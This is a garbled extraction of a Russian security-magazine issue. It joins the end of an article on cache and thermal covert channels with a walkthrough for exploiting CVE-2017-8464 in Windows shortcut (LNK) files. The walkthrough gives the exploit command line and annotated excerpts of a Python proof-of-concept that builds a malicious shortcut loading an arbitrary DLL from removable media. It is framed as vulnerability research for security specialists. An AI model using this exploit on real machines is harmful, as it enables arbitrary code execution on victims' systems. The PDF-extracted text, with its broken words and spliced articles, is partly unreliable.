[37].  В  час тнос ти,  KAISER  не  может  про тиво дей ство вать  ата ке  на  BTB
(целевой буфер вет вле ний), пред став ленной в 2016 году  .[36]

В  2016  году  была  пред став лена  ата ка  на  буфер  вет вле ний  (BTB).  BTB‐
индекси рова ние полага ется на 30 млад ших бит вир туаль ного адре са. Точ но
так же, как в уже пред став ленных кеш‐ата ках, ата кующий занима ет час ти BTB,
выпол няя пос ледова тель но нес коль ко инс трук ций перехо да. Если ядро опе‐ 
раци онной сис темы исполь зует вир туаль ные адре са с теми же 30‐битовы ми
зна чени ями,  что  и  ата кующий,  эта  выб ранная  пос ледова тель ность  команд
будет  занимать  боль ше  вре мени.  Пос редс твом  целево го  выпол нения  сис‐ 
темных  вызовов  ата кующий  может  получить  информа цию  о  вир туаль ных
адре сах кода, который выпол няет ся во вре мя сис темно го вызова. BTB‐ата ка
может быть исполь зована для обхо да защит ного механиз ма псев доизо ляции
ядра. Но эта ата ка пока еще не реали зова на для пос ледних архи тек тур, таких
как  Intel  Skylake  (Intel  Skylake  i7‐6700K),  пос коль ку  эта  архи тек тура  еще  не
была под вер гну та обратной инже нерии. Одна ко это лишь воп рос вре мени 

.
[

36]
В  апре ле  2017  года  было  показа но,  что  псев доизо ляция,  осно ван ная

на  ран домиза ции  выделе ния  памяти,  исчерпа ла  себя  и  в  све те  сущес тво‐ 
вания сов ремен ных высоко эффектив ных кеш‐атак не может обес печить дос‐ 
той ной защиты  .[34]

МЕЖЪЯДЕРНЫЕ И МЕЖПРОЦЕССОРНЫЕ СКРЫТЫЕ КАНАЛЫ
Скры тые каналы обхо дят механиз мы изо ляции в обла ке. В час тнос ти, скры тые
кеш‐каналы  поз воля ют  переда вать  нес коль ко  сотен  килоби тов  в  секун ду —
меж ду  неп ривиле гиро ван ными  поль зователь ски ми  прог рамма ми,  находя‐ 
щими ся  на  раз ных  вир туаль ных  машинах.  Одна ко  кеши  невели ки,  раз деля‐ 
емы,  и  поэто му  подоб ные  ком муника ции  вос при имчи вы  к  шуму  от  любой
активнос ти сис темы и пре рыва ний  .[29]

Кеш‐ата ки  поз воля ют  реали зовать  высокоп роиз водитель ные  межъ ядер‐ 
ные и меж про цес сорные скры тые  кеш‐каналы на сов ремен ных смар тфо нах,
исполь зуя Flush + Reload, Evict + Reload или Flush + Flush. Скры тый канал поз‐ 
воля ет  двум  неп ривиле гиро ван ным  при ложе ниям  вза имо дей ство вать  друг
с  дру гом  без  исполь зования  каких‐либо  сис темных  механиз мов  переда чи
дан ных.  Бла года ря  это му мож но  выр вать ся  из  песоч ницы  и  обой ти  сис тему
«огра ничен ных раз решений». В час тнос ти, на Android зло умыш ленник может
исполь зовать  одно  при ложе ние,  которое  име ет  дос туп  к  лич ным  кон тактам
вла дель ца устрой ства, для отправ ки дан ных по скры тому каналу дру гому при‐ 
ложе нию,  име юще му  дос туп  к  интернет  (см.  при мер  ).  Таким  обра зом
зло умыш ленник может украсть лич ную информа цию.

[28]

Ос новная  идея  скры того  канала  зак люча ется  в  том,  что  отпра витель
и  получа тель  сог ласовы вают  набор  адре сов  памяти  какой‐нибудь  раз деля‐ 
емой биб лиоте ки. Они исполь зуют для переда чи информа ции заг рузку ячей‐ 
ки в  кеш или ее выг рузку отту да. Нап ример, если такая‐то ячей ка находит ся
в кеше,  то это еди нич ка, а если нет,  то нолик. В   пред став лена пакет ная
реали зация  переда чи  дан ных  с  воз можностью  пов торно го  зап роса  недос‐ 
тавлен ных  пакетов;  здесь  исполь зует ся  «бит  отправ ки»  и  «бит  под твержде‐ 
ния», которые реали зова ны по такому же прин ципу, а так же кон троль ная сум‐ 
ма вве дена (а‐ля TCP по скры тому каналу).

[1]

В 2017 году была пред став лена пер вая в сво ем роде реали зация скры того
канала, работа юще го по про токо лу SSH, с отно ситель но высокой про пус кной
спо соб ностью  (45  Кбит/с);  эта  реали зация  обес печива ет  отка зоус той чивые
ком муника ции меж ду дву мя вир туаль ными машина ми даже в усло виях экс тре‐ 
маль ной зашум леннос ти кеша. Бла года ря такому SSH‐тун нелиро ванию скры‐ 
тый канал мож но исполь зовать, в чис ле про чего, для ком муника ций пос редс‐ 
твом Telnet‐сер виса  .[29]

В 2015 году была пред став лена уни каль ная в сво ем роде методи ка фор‐ 
мирова ния  скры того  канала,  спо соб ная  эффектив но  работать  даже
при наличии жес тких конт рмер. Общая методи ка про тиво дей ствия экс плу ата‐ 
ции скры тых каналов зак люча ется в псев доизо ляции адресно го прос транс тва
кри тичес ких  про цес сов —  либо  пос редс твом  выделе ния  памяти  слу чай ным
обра зом  (что бы  зло умыш ленник  не  смог  отсле дить,  с  какой  частью  памяти
работа ет целевая прог рамма), либо пос редс твом выделе ния для выпол нения
кри тичес ких опе раций отдель ного ядра про цес сора или отдель ного физичес‐ 
кого модуля динами чес кой памяти. Рас смат рива емая методи ка фор мирова‐ 
ния скры того канала опи рает ся на ана лиз теп ловой активнос ти мик ропро цес‐ 
сорной сис темы  .[32]

Для  это го  исполь зует ся  информа ция  о  тем перату ре,  на  которую  вли яют
про исхо дящие  в  ядре  про цес сы.  Здесь  исполь зуют ся  сле дующие  два
эффекта. Во‐пер вых, оста точ ные теп ловые сле ды в ядре сох раня ются, даже
ког да про цесс прек ратил свое исполне ние, и этот след час тично переда ется
сле дующе му  про цес су,  который  на  этом  ядре  начина ет  исполнять ся;  таким
обра зом,  информа ция  об  одном  про цес се  может  перете кать  в  дру гой,
который  сле дует  за  ним  по  рас писанию.  Во‐вто рых,  теп ловой  след  вли яет
и на дру гие ядра (если эти нес коль ко ядер на одном чипе рас положе ны)  .[32]

Ко неч но,  про пус кная  спо соб ность  скры того  теп лового  канала  весь ма
огра ниче на,  одна ко  эти  каналы  впол не  под ходят  для  переда чи  таких  кон‐ 
фиден циаль ных  дан ных,  как  номера  кре дит ных  карт  (16  цифр).  Так,  про пус‐ 
кная спо соб ность «теп лового канала» на сер вере Intel Xeon (с дву мя про цес‐ 
сорами  по  восемь  ядер)  сос тавля ет  12,5  бит/с.  Номер  кре дит ной  кар ты
по такому каналу переда ется за про межу ток от пяти секунд до четырех минут

.[32]
Так же  в  2015  году  в  рам ках  демонс тра ции  воз можнос тей  скры того  теп‐ 

лового канала было показа но, что эта методи ка поз воля ет иден тифици ровать
при ложе ния  на  осно ве  их  теп ловых  сле дов.  При  этом  с  течени ем  вре мени
эффектив ность и про изво дитель ность скры тых теп ловых каналов будет толь‐ 
ко  рас ти,  потому  что  поль зовате лю  пре дос тавля ется  все  более  под робная
информа ция о  тем перату ре сис темы — что бы пред при нимать эффектив ные
меры для охлажде ния  .[32]

В 2016 году была пред став лена новая реали зация скры того канала на An‐
droid,  которая  работа ет  в  250  раз  быс трее,  чем  какие‐либо  дру гие  ранее
пред ложен ные реали зации  .[1]
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ВЗЛОМ

Каж дый,  кто поль зовал ся Windows,  хорошо зна ет,  что  такое
ярлык. Одна ко этот зна чок со стрел кой далеко не так прост,
как  может  показать ся,  и  при  опре делен ных  усло виях  он
откры вает широкие воз можнос ти для ата кующе го. Я рас ска‐ 
жу,  как сде лать «ядо витый» ярлык и  как с помощью флеш ки
выпол нять про изволь ный код на целевой сис теме.

ИСТОРИЧЕСКИЙ ЭКСКУРС
Все началось еще в 2010 году, ког да в паб лике всплыл экс пло ит для Windows
вер сий  7  и  ниже.  Экс пло ит  поз волял  ата кующе му  выпол нить  про изволь ный
код  в  сис теме,  при чем  поль зовате лю  дос таточ но  было  все го  лишь  перей ти
по ссыл ке.

Этот  экс пло ит  исполь зовал ся  как  один  из  вари антов  рас простра нения
небезыз вес тно го чер вя Stuxnet. Ког да кто‐то встав лял флеш ку в  компь ютер,
червь заражал ее, копируя вре донос ный DLL, и соз давал спе циаль ный ярлык.
Если  на машине,  в  которую потом  встав ляли  носитель,  была  вклю чена фун‐ 
кция авто запус ка, вре донос ный код из биб лиоте ки выпол нялся.

Им пакт при этом не огра ничи вал ся одной толь ко флеш кой: код так же сра‐ 
баты вал,  если  поль зователь  посещал  вре донос ный  URL,  который  ука зывал
на сетевую или локаль ную пап ку с экс пло итом.

Взгля нув  на  весь  этот  ужас,  в  Microsoft  выпус тили  апдейт  ,
который  исправ ляет  эту  уяз вимость.  Вот  толь ко  получи лась  зап латка  не  то
что бы удач ной.

MS10‐046

В  начале  янва ря  2015  года  немец кий  иссле дова тель  Михель  Гер клоц
(Michael  Heerklotz)  деталь но  изу чил  этот  патч  и  нашел  спо соб  его  обой ти.
Резуль татом  работы  Гер кло ца  стал  отчет  на  кон ферен ции  Zero  Day  Initiative
(ZDI),  про води мой  ком пани ей  HP.  Пос ле  исправ ления  пат ча  в  мар те  того
же  2015  года  иссле дова ние  .  Име ется  даже 

 работы экс пло ита.
бы ло  опуб ликова но ви деоде‐ 

монс тра ция
Пос ле  это го  в  Microsoft  выкати ли  сле дующий  патч  —  с  поряд ковым

номером MS15‐018, одна ко и он не смог пол ностью зак рыть уяз вимость. Сов‐ 
сем недав но, в июне 2017 года, был обна ружен оче ред ной спо соб его обхо‐ 
да.  Импакт  при  этом  остался  тем  же  —  выпол нение  про изволь ного  кода
на целевой сис теме.

Уяз вимость откли кает ся на CVE‐2017‐8464, а PoC‐экс пло ит соз дали Йорик
Кос тер  (Yorick  Koster)  и  nixawk.  Йорик  так же  написал модуль  для Metasploit.
MSF я не исполь зую по религи озным сооб ражени ям и поэто му в обзо ре буду
опи рать ся  на  пер воначаль ный  спло ит.  Най ти  его  ты  смо жешь, 

 к nixawk.
заг лянув

в репози торий
Ес ли  же  хочешь  прос то  пот ригге рить  уяз вимость,  то    есть  готовые

LNK‐фай лы  и DLL,  которая  запус кает  каль кулятор.  Тебе  оста ется  лишь  ски‐ 
нуть их на флеш ку.

здесь

Ма тери ал  адpесо ван  спе циалис там  по  безопас‐ 

ности  и  тем,  кто  собираeтся  ими  стать.  Вся

информа ция  пре дос тавле на  исклю читель но

в озна коми тель ных целях. Ни редак ция, ни автор

не  несут  ответс твен ности  за  любой  воз можный

вред, при чинен ный матери ала ми дан ной статьи.

СТЕНД
В  качес тве  подопыт ного  кро лика  для  тес та  уяз вимос ти  я  буду  исполь зовать
вир туал ку с Windows 10 х64.

Уяз вимая вер сия Windows 10 x64

При  работе  с  бинар щиной  нам,  конеч но  же,  при годит ся  дизас сем блер.
Не будем ори гиналь ничать и возь мем IDA.

Так же  нам  понадо бит ся  какой‐нибудь  дебаг гер.  Я  решил  исполь зовать
WinDbg в режиме отладчи ка ядра. Вот один из спо собов нас тро ить  уда лен‐ 
ный дебаг гинг вир туал ки.
1. За пус тить WinDbg. Затем File → Kernel Debug. Там во вклад ке NET нуж но
ука зать  порт.  Его  будет  слу шать  прог рамма  в  ожи дании  под клю чения
от  отла жива емой  сис темы.  Еще  мож но  ука зать  ключ  для  шиф рования
переда ваемых дан ных во вре мя соеди нения.

Нас трой ка отладки ядра по сети в WinDbg

2. Вклю чить режим отладки на  гос тевой машине. В  этом нам поможет  кон‐ 
соль ная ути лита  .bcdedit

bcdedit /debug on
bcdedit /dbgsettings net hostip:127.0.0.1 port:50000 key:time.to.
debug.1337

где   — IP хос товой ОС,   и   — порт и ключ, которые ты ука зал
в  нас трой ках  WinDbg.  Пос ле  перезаг рузки  вир туал ки  она  под клю чит ся
к отладчи ку.

hostip port key

Гос тевая ОС готова к отладке

Продолжение статьи →

https://technet.microsoft.com/en-us/library/security/ms10-046.aspx
https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257
https://youtu.be/yBJUytqBN70
https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py
https://github.com/3gstudent/CVE-2017-8464-EXP
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ОСОБЕННОСТИ ЛИНКОВАНИЯ
Что бы  понимать  уяз вимость  и  успешно  ее  про экс плу ати ровать,  нуж но  сна‐ 
чала  разоб рать ся  непос редс твен но  с  самим  фор матом  LNK‐фай лов.
К  счастью,  нам не при дет ся про дирать ся  через деб ри бинар щины всле пую,
потому  что  ребята  из  Microsoft  позабо тились  и  написа ли  под робную  тех‐ 
ничес кую  спе цифи кацию  под  наз вани ем  .
Будем заг лядывать туда пери оди чес ки.

Shell  Link  (.LNK)  Binary  File  Format

Еще  нам  понадо бит ся  ути лита  для  прос мотра  деталь ной  информа ции
по фай лам LNK. Так  как моя основная ОС — это Windows 10,  то я  вос поль‐ 
зуюсь  при ложе нием  .  Если  ты  ищешь  что‐то  плат формо неза виси‐ 
мое, то поп робуй модуль   ( ) для Python.

LNKParser
pylnk pip install pylnk

Shell  Link  Binary  File  Format  сос тоит  из  пос ледова тель нос ти  струк тур,
которые регули руют ся пра вила ми ABNF (Augmented Backus‐Naur Form). Пра‐ 
вила же опи саны в спе цифи кации  .RFC5234

SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO] [STRING
_DATA] *EXTRA_DATA

Со вокуп ность  этих  струк тур  и  называ ется  shell  link,  а  в  прос тонародье  —
«ярлык».

В нем содер жится не толь ко ссыл ка на мес тополо жение объ екта, как мож‐ 
но было ожи дать, но и мно жес тво дру гих парамет ров.

Рас смот рим  все  это  на  живом  при мере.  Для  это го  соз дадим  ярлык
на любой файл (я соз дал для explorer.exe) и нат равим на него LNKParser.

lnk_parser_cmd "explorer.exe ‐ Shortcut.lnk"

Прос мотр содер жимого ярлы ка с помощью LNKParser

Здесь я рас смот рю толь ко нуж ные для соз дания экс пло ита струк туры, ты же
можешь покопать ся в тон костях стро ения .LNK в свое удо воль ствие.

За заг рузку, ана лиз и пар синг дан ных из фай ла ярлы ка отве чает фун кция
 из биб лиоте ки  .CShellLink::_LoadFromStream windows.storage.dll

Фун кция пар синга содер жимого LNK‐фай ла

Пер вый  обя затель ный  блок,  который  дол жен  при сутс тво вать  в  каж дом  ува‐ 
жающем  себя  LNK‐фай ле,  —  это  .  По  боль шому  сче ту
это  единс твен ная  обя затель ная  струк тура  в  ярлы ке.  Она  содер жит  иден‐ 
тифика цион ную информа цию, вре мен ные мет ки и фла ги, которые опре деля‐ 
ют наличие или отсутс твие допол нитель ных бло ков с информа цией, вклю чая

,   и  .

SHELL_LINK_HEADER

LinkTargetIDList LinkInfo StringData

Струк тура бло ка SHELL_LINK_HEADER

Прой дем ся по осталь ным струк турам.
  (4  бай та)  —  раз мер  бло ка  Header,  он  фик сирован ный  —
.

• HeaderSize
0x0000004C

 (16 байт) — уни каль ный иден тифика тор клас са (CLSID). Струк‐ 
тура CLSID — это обо лоч ка для иден тифика тора COM‐клас са. Так же име ет
фик сирован ное  зна чение  — 

.

• LinkCLSID

00021401­0000­0000C000­
000000000046

  (4  бай та)  —  фла ги,  которые  отве чают  за  опции  ярлы ка.
Некото рые фла ги озна чают наличие допол нитель ных струк тур в фай ле.

• LinkFlags

  (4  бай та)  —  атри буты  фай ла,  на  который  ссы лает ся
ярлык.

• FileAttributes

  (8  байт),    (8  байт),    (8  байт)  —
вре мя соз дания фай ла, пос ледне го дос тупа к нему и его изме нения.

• CreationTime AccessTime WriteTime

 (4 бай та) — раз мер фай ла. Фор мат — 32‐бит ное без зна ковое
целое.

• FileSize

  (4  бай та)  —  индекс  икон ки  фай ла  в  ука зан ном  хра нили ще.
Фор мат — 32‐бит ное без зна ковое целое.

• IconIndex

  (4  бай та)  —  вид  окна  при ложе ния,  запущен ного  через
ярлык.  Фор мат  —  32‐бит ное  без зна ковое  целое.  Он  может  быть  трех
видов: нор маль ный ( ,  ), раз верну тый на весь
экран  ( ,  ),  свер нутый  (

,  ).

• ShowCommand

SW_SHOWNORMAL 0x00000001
SW_SHOWMAXIMIZED 0x00000003 SW_SHOWMIN­

NOACTIVE 0x00000007
  (2  бай та)  —  струк тура    отве чает  за  наз начен ные

ярлы ку  горячие  кла виши.  В  нас трой ках  лин ка  ты  можешь  ука зать  тре‐ 
буемое сочета ние кла виш, и если сам LNK лежит на рабочем сто ле или в
меню, то при их нажатии он будет сра баты вать.

• HotKey HotKeyFlags

  (2  бай та),    (4  бай та),    (4  бай та)  —
зарезер вирован ные зна чения. Дол жны быть нулевы ми.

• Reserved1 Reserved2 Reserved3

Из все го это го мно гооб разия нас инте ресу ет толь ко  . Сек ция сос‐ 
тоит из 32 бит, каж дый из которых отве чает за раз ные опции ярлы ка.

LinkFlags

Би товая мас ка сек ции LinkFlags

Нуж ные нам биты — это 0 ( ) и 7 ( ).HasLinkTargetIDList IsUnicode

Важ ные для экс плу ата ции фла ги

С  ,  думаю,  все  ясно  из  наз вания,  а  вот  нулевой  бит  рас смот рим
под робнее.
IsUnicode

Флаг    ука зыва ет,  что  сле дующим  бло ком,  иду щим
за хидером, будет струк тура  .

HasLinkTargetIDList
IDList

Струк тура IDList в фай ле легитим ного ярлы ка

Фун кция   сна чала чита ет пер вые два бай та дан ных
из  бло ка  (это  раз мер  струк туры)  и  выделя ет  тре буемое  количес тво  памяти
для его заг рузки.

CShellLink::_LoadIDList

Фун кция CShellLink::_LoadIDList для пар синга содер жимого струк туры
IDList

За тем  начина ется  чте ние  дан ных  из  .  Каж дый  эле мент
этой  струк туры —  это  часть  пути  до  объ екта,  на  который  ссы лает ся  ярлык.
Сис тема про ходит по каж дому такому эле мен ту   и чита ет его дан ные.

LINKTARGET_IDLIST

ItemID
Путь записы вает ся в кодиров ке ASCII и/или UTF‐16. В легитим ном ярлы ке

так же  име ются метадан ные для  каж дого  эле мен та  пути.  Ты  их можешь наб‐ 
людать на скрин шоте ниже, но для экс плу ата ции они нам ни к чему.

Блок IDList с метадан ными в легитим ном ярлы ке

Фор мат  типа —  иден тифика тор  клас са  CLSID.  Поиск  соот ветс твия  ведет ся
в вет ке реес тра  . Нап ример, в нашем слу чае GUID
объ екта  равен  ,  что  в  прос транс‐ 
тво имен обо лоч ки Windows соот ветс тву ет My Computer. Под робнее об этом
мы погово рим на эта пе написа ния экс пло ита.

HKEY_CLASSES_ROOTCLSID
20d04fe0‐3aea‐1069‐a2d8‐08002b30309d

С хидером более‐менее разоб рались, теперь перено сим ся в конец LNK‐
фай ла, к раз делу допол нитель ной информа ции ExtraData.

EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK

Он может вклю чать в себя мно го допол нитель ных струк тур.

EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS /
ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS /
KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS /
SHIM_PROPS / SPECIAL_FOLDER_PROPS /
TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS

За пар синг это го раз дела отве чает биб лиоте ка  , а имен но фун‐ 
кция  .

shlwapi.dll
SHReadDataBlockList

Вы зов внеш ней фун кции SHReadDataBlockList в про цес се выпол нения

Фун кция SHReadDataBlockList для пар синга раз дела ExtraData

Она чита ет все содер жимое струк туры   и заг ружа ет ее в память.
Пос ле  заг рузки  вызыва ется  про вер ка  валид ности  дан ных  —  фун кция 

.

EXTRA_DATA
Is‐

ValidDataBlock

Фун кция IsValidDataBlock про веря ет дан ные из ExtraData

  све ряет раз меры и  сиг натуры,  и если проб лем не обна‐ 
руже но,  то  выпол нение  прог раммы  воз вра щает ся  в фун кцию 

.

IsValidDataBlock
CShellLink::

_LoadFromStream
Из  все го,  что мож но  записать  в файл  с  ярлы ком,  нас  инте ресу ют  толь ко

  и  .  Так  как  раз делы  оди‐ 
нако вы по струк туре, раз берем толь ко один из них.
SpecialFolderDataBlock KnownFolderDataBlock

Струк тура    очень  важ на  в  про цес се  экс плу ата‐ 
ции. Она  исполь зует ся,  если файл,  на  который  ссы лает ся  ярлык,  находит ся
в спе циаль ной пап ке сис темы или ссы лает ся на нее. Мож но так же стол кнуть‐ 
ся  с  наз вани ем    (Constant  Special  item  ID  List)  или 
(приш ло  на  сме ну  CSIDL  в  Windows  Vista),  имен но  их  ты  встре тишь  в  офи‐ 
циаль ной докумен тации.

SpecialFolderDataBlock

CSIDL KNOWNFOLDERID

Во обще,  спе циаль ные  пап ки  —  это  псев донимы  для  сис темных  папок.
Такими,  нап ример,  явля ются  «Кор зина»,  «Панель  управле ния»  или  AppData.
Так  вот,  вмес то  исполь зования  абсо лют ных  путей,  которые могут  быть  раз‐ 
ными в раз ных сис темах, в Microsoft при дума ли такие уни каль ные ста тич ные
псев донимы.  Они  гаран тиру ют  прог раммис там,  что  при  обра щении,  нап‐ 
ример,  к  панели  управле ния  они  точ но  в  нее  попадут,  где  бы  прог рамма
ни выпол нялась.

В  некото рых  таких  пап ках  объ екты  пред став ляют ся  осо бен ным  обра зом.
И для того что бы ярлык был выз ван кор рек тно, пос ле заг рузки бло ка 
дан ные  из  него  интер пре тиру ются  в  соот ветс твии  с  текущи ми  уста нов ками
типа пап ки.

IDList

Воз можно,  пока  это  зву чит  непонят но,  но  ско ро  мы  деталь но  раз берем
этот воп рос, и все вста нет на свои мес та. Пока же воз вра щаем ся к 

.
Special‐

FolderDataBlock
Сам  раз дел  сос тоит  из  четырех  бло ков.  Все  бло ки  име ют  один  и  тот  же

раз мер и тип дан ных — 4 бай та, 32‐бит ное без зна ковое целое.

Бло ки раз дела SpecialFolderDataBlock

Пер вый блок  , как мож но понять из наз вания, — это общая дли на
раз дела. Она фик сирова на  и  име ет  зна чение  .  В 

 —  .

BlockSize
0x00000010 KnownFolder‐

DataBlock 0x0000001C
За тем  сле дует   —  сиг натура  раз дела.  Ее  зна чение  тоже

фик сирова но —  . В   —  .
BlockSignature

0xA0000005 KnownFolderDataBlock 0xA000000B
Сле дом за   идет блок  . Он как раз ука‐ 

зыва ет, к какой из спе циаль ных папок отно сит ся ярлык. Их спи сок мож но пос‐ 
мотреть,  нап ример,  .  В  рас смат рива емом  слу чае  объ ект 
находит ся  в  пап ке  .  Это  спе циаль ная  пап ка,  которая  име ет  зна‐ 
чение 0х24. Что мы и наб люда ем в фай ле ярлы ка.

BlockSignature SpecialFolderID

тут explorer.exe
Windows

SpecialFolderID из ярлы ка к фай лу explorer.exe

Раз ница с   в том, что там исполь зует ся пол ноцен ный
GUID вмес то целочис ленно го пред став ления.

KnownFolderDataBlock

В струк туре KnownFolderDataBlock исполь зует ся пол ноцен ный GUID

Сле дующий  важ ный  блок —  .  Это  сме щение  в  бай тах,  ука зыва ющее
на эле мент в бло ке  . Так как в нашем ярлы ке задан путь 

, то сме щение будет ука зывать на  .

Offset
IDList C:Windowsex‐

plorer.exe explorer.exe

Блок offset струк туры SpecialFolderDataBlock ука зыва ет на эле мент
из IDList

Об работ кой  струк туры  занима ется  фун кция 
.

CShellLink::_DecodeSpecial‐
Folder

Вы зов фун кции _DecodeSpecialFolder

Сна чала  опре деля ется  тип  исполь зован ной  струк туры  по  сиг натуре  (блок
).    име ет  сиг натуру  ,

а   —  . Фун кция    выпол‐ 
няет этот поиск в  .

BlockSignature SpecialFolderDataBlock 0xA0000005
KnownFolderDataBlock 0xA000000B SHFindDataBlock

ExtraData

Вы зов фун кции SHFindDataBlock для поис ка нуж ного раз дела по сиг ‐
натуре

Продолжение статьи →

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/%5BMS-SHLLINK%5D-160714.pdf
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/lnk-parser/lnk_parser_cmd.exe
https://pypi.python.org/pypi/pylnk/0.2
http://www.rfc-editor.org/rfc/rfc5234.txt
https://msdn.microsoft.com/en-us/library/windows/desktop/bb762494(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/dd378457(v=vs.85).aspx
https://installmate.com/support/im9/using/symbols/functions/csidls.htm


ЭКСПЛУАТИРУЕМ ОПАСНУЮ
УЯЗВИМОСТЬ

В ЯРЛЫКАХ MICROSOFT WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОСОБЕННОСТИ ЭКСПЛУАТАЦИИ
Преж де чем сге нери ровать ярлык, экс плу ати рующий уяз вимость, нуж но ском‐ 
пилиро вать  DLL  с  нуж ной  полез ной  наг рузкой.  Здесь  я  не  буду  опи сывать
весь про цесс ком пиляции DLL, это го пол но на прос торах интерне та. Для тес‐ 
та  дос таточ но  исполь зовать  готовую  биб лиоте ку  из  репози тория  ,
которая запус кает каль кулятор.

3gstudent

Я  пере име ную  ее  во  что‐нибудь  менее  монс тру озное,  нап ример 
.

test.
dll

Те перь  нуж но  сге нери ровать  ярлык. Напом ню,  что  я  исполь зую 
авторс тва  nixawk  и  ykoster.  Он  муль тип латфор менный  и  написан  на  Python,
никаких зависи мос тей. Что еще нуж но?

экс пло ит

./42429.py </path/to/lnk/file> </path/to/dll/for/load>

Путь до DLL — это очень важ ный параметр. Дело в  том,  что экс пло ит будет
рас полагать ся  на  внеш нем  носите ле  и  работать  отту да,  а  путь  до  объ екта
в  ярлы ке  абсо лют ный.  Это  соз дает  опре делен ные  слож ности,  так  как  бук ва
дис ка будет менять ся от машины к машине, потому что Windows прис ваивает
ее авто мати чес ки.

Проб лема обхо дит ся  в  лоб — соз дани ем  куч ки  ярлы ков для  каж дой воз‐ 
можной  бук вы  дис ка.  Имен но  поэто му  в  репози тории  по  ссыл ке  выше  есть
ярлы ки на каж дую бук ву алфа вита.

Пред положим,  что  мы  зна ем  бук ву  и  это  .  Далее  нам  нужен  любой
носитель: флеш ка, дис кета  (если вдруг най дешь) или даже файл  ISO. Вооб‐ 
ще, экс пло иту без раз ницы, где он находит ся. Даже если ты помес тишь сге‐ 
нери рован ный ярлык на жес ткий диск, пей лоад отра бота ет при откры тии пап‐ 
ки  с  таким  ярлы ком.  Съем ный  носитель  исполь зует ся  в  при мере  лишь
как один из вари антов дос тавки полез ной наг рузки на машину поль зовате ля.

D:

Соз даем собс твен но сам файл LNK.

./42429.py test.lnk D:test.dll

Так  как базовые зна ния о  том,  как  устро ены ярлы ки,  у нас име ются,  то про‐ 
бежим ся  по  исходни ку  спло ита  и  прос ледим  осо бен ности  соз дания  вре‐ 
донос ного ярлы ка.

Сна чала хидер. Здесь все не слож нее, чем в безопас ном ярлы ке. В бло ке
LinkFlags исполь зуем фла ги HasLinkTargetIDList и IsUnicode. Бай ты 0 и 7, пом‐ 
нишь?

189:         generate_SHELL_LINK_HEADER(),
...
...
013: def generate_SHELL_LINK_HEADER():
...
055:     shell_link_header = [
...
058:         b'x81x00x00x00',
                                                # "LinkFl
ags"      : (4 bytes)  0x81 = 0b10000001 = HasLinkTargetIDList + 
IsUnicode

Даль ше дело за пос тро ением бло ка  .IDList

197:         generate_LINKTARGET_IDLIST(path, name),
...
...
075: def generate_LINKTARGET_IDLIST(path, name):
...
114:     idlist = [
115:         # ItemIDList
116:
117:         generate_ItemID(b'x1fx50xe0x4fxd0x20xeax3ax69x10xa2
xd8x08x00x2bx30x30x9d'),
118:         generate_ItemID(b'x2ex80x20x20xecx21xeax3ax69x10xa2
xddx08x00x2bx30x30x9d'),

А вот как выг лядит сама фун кция  .generate_ItemID

88:     def generate_ItemID(Data):
89:         itemid = [
90:             struct.pack('H', len(Data) + 2),  # ItemIDSize + len(
Data)
91:             Data
92:         ]
...
97:         return b"".join(itemid)

В стро ке 117 мы генери руем пер вый эле мент спис ка. Как видишь, тут исполь‐ 
зует ся тот же GUID  , что и в ярлы‐ 
ке, который мы рас смат ривали в при мере. Не забыва ем про порядок бай тов
little‐endian.

20D04FE0‐3AEA‐1069‐A2D8‐08002B30309D

Пер вый эле мент струк туры IDList в ярлы ке‐экс пло ите

А  вот  вто рой  эле мент  (стро ка  118)  уже  инте рес нее.  GUID 
  говорит нам о  том,  что эле мент,  на  который ссы‐ 

лает ся  ярлык,  находит ся  в  прос транс тве  имен  «Панели  управле ния».  Под‐ 
робнее о прос транс тве имен  .

21EC2020‐3AEA‐
1069‐A2DD‐08002B30309D

чи тай в MSDN

Вто рой эле мент струк туры IDList в ярлы ке‐экс пло ите. GUID 21EC2020‐
3AEA‐1069‐A2DD‐08002B30309D

Даль ше  на  осно ве  передан ного  в  качес тве  аргу мен та  пути  до  биб лиоте ки
генери рует ся тре тий эле мент в  . В нашем слу чае DLL лежит на дис ке
.

IDList
D:

119:         generate_ItemID(generate_cpl_applet(path)),

Смот рим, что это за фун кция.

099:     def generate_cpl_applet(path, name=name):
100:         name += b'x00'
101:         path += b'x00'
102:
103:         bindata = [
104:             b'x00x00x00x00x00x00x00x00x00x00x00x6ax00x00
x00x00x00x00',
105:             struct.pack('H', len(path)),
106:             struct.pack('H', len(name)),
107:             path.encode('utf‐16')[2:],
108:             name.encode('utf‐16')[2:],
109:             b"x00x00"  # comment
110:         ]

Даль ше соз дает ся сек ция  .ExtraData

213:         generate_EXTRA_DATA()

Вот как это выг лядит.

135: def generate_EXTRA_DATA():
...
163:     extra_data = [
164:         b'x10x00x00x00',
165:         b'x05x00x00xA0',
166:         b'x03x00x00x00',
167:         b'x28x00x00x00',
168:         b'x00x00x00x00'   # TERMINAL_BLOCK
169:     ]

Стро ка 166,  как мы пом ним, — это  , и он  ука зыва ет на  то,
что объ ект находит ся в спе циаль ной пап ке. И эта пап ка — «Панель управле‐ 
ния» (  это  ).

SpecialFolderID

0x03 CSIDL_CONTROLS

Блок SpecialFolderID в ярлы ке‐экс пло ите

В стро ке 167 находит ся  сме щение объ екта  в бай тах,  ука зыва ющее на  нашу
DLL. Оно счи тает ся отно ситель но  . Так как за путь до биб лиоте ки отве‐ 
чает  тре тий  эле мент,  а  перед  ним  идут  два  эле мен та  по  0x14  байт,  то  сме‐ 
щение рав но 0х28.

IDList

Сме щение отно ситель но струк туры IDList ука зыва ет на тре тий эле мент

Даль ше  экс пло ит  прос то  записы вает  все  сге нери рован ные  дан ные  в  файл
ярлы ка.

ВРЕМЯ ЗАПУСКАТЬ
